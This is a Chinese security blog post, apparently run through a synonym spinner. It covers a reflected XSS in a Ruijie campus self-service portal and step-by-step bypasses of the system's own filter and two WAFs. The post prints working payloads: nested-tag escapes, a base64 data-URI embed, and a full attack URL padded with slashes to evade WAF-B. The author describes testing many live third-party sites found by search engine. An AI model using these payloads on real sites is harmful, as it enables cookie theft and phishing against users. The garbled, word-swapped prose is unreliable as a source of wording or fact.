初步紧张有这样几种挖掘思路:

1、运用业务逻辑漏洞2、已知系统和组件的CVE

在挖掘之前,搜索引擎里意外看到某位师傅在博客发过对这个别系的测试记录(tql):

https://www.sqlsec.com/2017/11/nnuwifi.html

jspxss过滤从锐捷某体系鸡肋XSS到通用WAF绕过 jQuery

通过这位师傅对南师大的测试结果,业务逻辑上总结起来存在以下几个安全问题:

1、可以任意用户注册2、忘却密码接口存在信息透露

但是实测在笔者内网环境下的这个别系,用户注册功能被关闭了。


第一点发布失落败;

忘却密码接口的信息透露须要通报类似学号这样的参数,限定了它的危害性(学号须要爆破);其余返回的信息只有学号对应的真实姓名,没有上面博客中涌现的证件号等更为详细的信息。

通过信息搜集得到以下目标信息:

Apache-Coyote/1.1Servlet 2.5; JBoss-5.0/JBossWeb-2.1

搜索组件干系的漏洞信息创造CVE-2017-12149,是一个反序列化的漏洞,不过没有利用成功(不存在/invoker/readonly路径),还是没有什么收成。

把稳到系统接口后缀名是.jsf和.jsp,在网页代码中探求.jsf和.jsp结尾的字符串考试测验找到一些隐蔽的后端接口。

1、创造系统详细版本信息:

软件#SAM#RG- ENTERPRISE_4.21(p9)_Build20180606

2、创造一个返回缺点信息的接口(移动端):

考试测验将mobile去掉,同样也是一个缺点信息回显接口(PC端):

存在这样的缺点信息回显,如果对XSS没有过滤好就有可能造成反射型XSS了,我们考试测验大略的payload创造确实存在(鸡肋):

这是一个鸡肋的洞,但是再看看这个别系SESSION的Cookie没有开启http_only,还是存在钓鱼利用风险的。

0x02 通用化与WAF绕过

虽然没有创造其他的严重安全问题,但是对这个反射XSS是否是这个别系的通用安全问题也产生了好奇。
通过搜索引擎找到了一堆类似的线上系统逐一进行考试测验,结果创造事情并不大略。

测试了多个相同系统的站点,创造会有几种格局的缺点返回(果真是笔者内网这个别系没有开启防护(⊙o⊙)…),接下来开始了对这几种防护进行绕过的漫漫之旅:

第一种情形,该当是这个别系自带的过滤机制:

第二种情形,称之为WAF-A

第三种情形,称之为WAF-B

0x001 绕过系统XSS过滤机制

拿个中一个外网系统进行绕过测试,创造系统自带过滤机制对几个关键字符都做了过滤,彷佛直接封去世了利用空间:

单引号'、双引号"、尖括号<>、转义符\

但是在Fuzz到一些HTML标签的时候,涌现了神奇的地方,部分标签虽然带有尖括号但是却绕过了系统自带的XSS检测规则(黑人问号),个中script标签触发了WAF-A:

然而利用这些标签进行布局考试测验弹窗,创造又被WAF-A(包括B)拦截了:

0x002 绕过WAF-A过滤

为了测试是对on开头的动作还是alert字符串触发了拦截,分别布局多个payload进行测试:

<input onclick=111><input onload=111><input on=111>......<input aaa=alert()>

结果是都会被拦截,可以确定规则会拦截on开头的动作以及alert字符串。


同样的,测试创造布局类似<input background="javascript:xxx">的payload等等,会由于javascript和一些其他敏感字符串被拦截。




这个时候连续在input这个标签中的动作或者属性考试测验弹框已经很困难(或许有其他绕过方法),想到考试测验连续在input标签中布局出其他标签进行测试。

可以看到个中嵌套上图几种标签时还是合法的。
当布局这样的输入时,在浏览器中可以看到会多出一个尖括号>,个中第1个>和第1个<组合生效了:

到这一步,如果连续添加1个<去和下面的>组合成新的HTML标签会怎么样呢,考试测验如下输入

<input <table><a>

成功逃逸出来了一个a标签,并且没有被拦截。
同样拿其他标签进行Fuzz测试,可以看到之前绕过的标签反而全都被拦截,但是其他标签都成功绕过了!

现在布局的输入绕过了系统自带的过滤,攻击面就扩大了,可以利用大部分的HTML标签。
但是常规的字符串仍旧会被WAF-A和B拦截,如:

on开头的动作、alert字符串、javascript等

但是由于可用的HTML标签很多,完备可以布局不涌现这些敏感字符的payload,在这里笔者利用embed标签的src属性实行base64编码的JS代码:

<input<table><embed/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >

这个payload可以绕过WAF-A,但是可惜绕不过WAF-B:

0x003 绕过WAF-B过滤

WAF-B的拦截提示是WiseGrid,查了下是一个公司的网关产品,接着连续考试测验能否绕过这款网关的XSS防护。

之前过WAF-A的payload中肯定是有某个字符串触发了WAF-B的规则,于是进行删减,末了创造WAF-B直接拦截了embed标签。


WAF-B也对常见的on开头动作进行了拦截、对javascript等字符串进行了拦截。
除此之外,创造src='data....'和href='data....'的形式也被拦截了。

到这可以看出来,WAF-B比WAF-A强了好几个级别,险些拦去世了险些所有能想到的布局形式,到这一下子走到了去世胡同。


经由无数考试测验失落败后,溘然想到了一些WAF在处理过长的数据时会忽略一定长度后数据的案例,这个网关产品的WAF会不会也有这样的问题呢?

于是基于上面的payload,考试测验在会被拦截的字符串src="data"之前插入大量的无关字符:

http://xxx//selfservice/module/scgroup/web/login_self.jsf?errorMsg=<input<table><img aaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaAaaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaaaaaaaaaaaAaaaa src="data">

虽然失落败了,按着这个思路我们考试测验连续换成其他字符,例如注释符进行测试:

可以看到,我们的payload传入后,页面经由不屈常的等待后,返回了正常的页面内容!

那么把之前过WAF-A的payload稍加改造就能绕过WAF-B了:

http://xxx//selfservice/module/scgroup/web/login_self.jsf?errorMsg=<input<table////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////><embed/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >

0x03 总结

笔者从对某校园网自助做事系统的安全测试开始,环绕一个鸡肋的反射XSS漏洞,对此系统常日存在的各种XSS过滤和WAF进行测试和绕过。
虽然市情的WAF各式各样,但是过程中绕WAF的姿势和手腕是通用的。